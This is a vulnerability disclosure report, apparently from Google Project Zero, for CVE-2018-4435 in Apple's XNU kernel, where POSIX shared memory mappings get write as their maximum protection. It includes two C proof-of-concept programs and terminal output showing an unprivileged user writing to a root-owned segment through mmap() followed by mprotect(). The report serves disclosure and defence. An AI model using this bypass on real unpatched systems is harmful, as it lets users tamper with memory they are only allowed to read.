XNU: POSIX shared memory mappings have incorrect maximum protection 

CVE-2018-4435


When the mmap() syscall is invoked on a POSIX shared memory segment
(DTYPE_PSXSHM), pshm_mmap() maps the shared memory segment's pages into the
address space of the calling process. It does this with the following code:

        int prot = uap->prot;
        [...]
        if ((prot & PROT_WRITE) && ((fp->f_flag & FWRITE) == 0)) {
                return(EPERM);
        }
        [...]
        kret = vm_map_enter_mem_object(
                user_map,
                &user_addr,
                map_size,
                0,
                VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
                vmk_flags,
                VM_KERN_MEMORY_NONE,
                pshmobj->pshmo_memobject,
                file_pos - map_pos,
                docow,
                prot,
                VM_PROT_DEFAULT, 
                VM_INHERIT_SHARE);

vm_map_enter_mem_object() has the following declaration:

        /* Enter a mapping of a memory object */
        extern kern_return_t    vm_map_enter_mem_object(
                vm_map_t                map,
                vm_map_offset_t         *address,
                vm_map_size_t           size,
                vm_map_offset_t         mask,
                int                     flags,
                vm_map_kernel_flags_t   vmk_flags,
                vm_tag_t                tag,
                ipc_port_t              port,
                vm_object_offset_t      offset,
                boolean_t               needs_copy,
                vm_prot_t               cur_protection,
                vm_prot_t               max_protection,
                vm_inherit_t            inheritance);

This means that `cur_protection` (the initial protection flags for the new memory
object) will be `prot`, which contains the requested protection flags, checked
against the mode of the open file to ensure that a read-only file descriptor can
only be used to create a readonly mapping. However, `max_protection` is always
`VM_PROT_DEFAULT`, which is defined as `VM_PROT_READ|VM_PROT_WRITE`.

Therefore, an attacker with readonly access to a POSIX shared memory segment can
first use mmap() to create a readonly shared mapping of it, then use mprotect()
- which is limited by `max_protection` - to gain write access.


To reproduce:

In terminal 1, as root:
=========================================
bash-3.2# cat > create.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
  shm_unlink("/jh_test");
  int fd = shm_open("/jh_test", O_RDWR|O_CREAT|O_EXCL, 0644);
  if (fd == -1) err(1, "shm_open");
  if (ftruncate(fd, 0x1000)) err(1, "trunc");
  char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (map == MAP_FAILED) err(1, "mmap");
  printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
  printf("press enter to continue\n");
  getchar();
  printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
}
bash-3.2# cc -o create create.c && ./create
map[0] = 0x0
press enter to continue
=========================================

In terminal 2, as user:
=========================================
Projects-Mac-mini:posix_shm projectzero$ cat > open.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>

int main(void) {
  int fd = shm_open("/jh_test", O_RDWR);
  if (fd == -1) perror("open RW");

  fd = shm_open("/jh_test", O_RDONLY);
  if (fd == -1) err(1, "open RO");

  char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
  if (map == MAP_FAILED) perror("map RW");

  map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
  if (map == MAP_FAILED) err(1, "map RO");

  if (mprotect(map, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect");

  map[0] = 0x42;
}
Projects-Mac-mini:posix_shm projectzero$ cc -o open open.c && ./open
open RW: Permission denied
map RW: Operation not permitted
Projects-Mac-mini:posix_shm projectzero$ 
=========================================

Then, in terminal 1, press enter to continue:
=========================================

map[0] = 0x42
bash-3.2# 
=========================================

This demonstrates that the user was able to write to a root-owned POSIX shared
memory segment with mode 0644.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh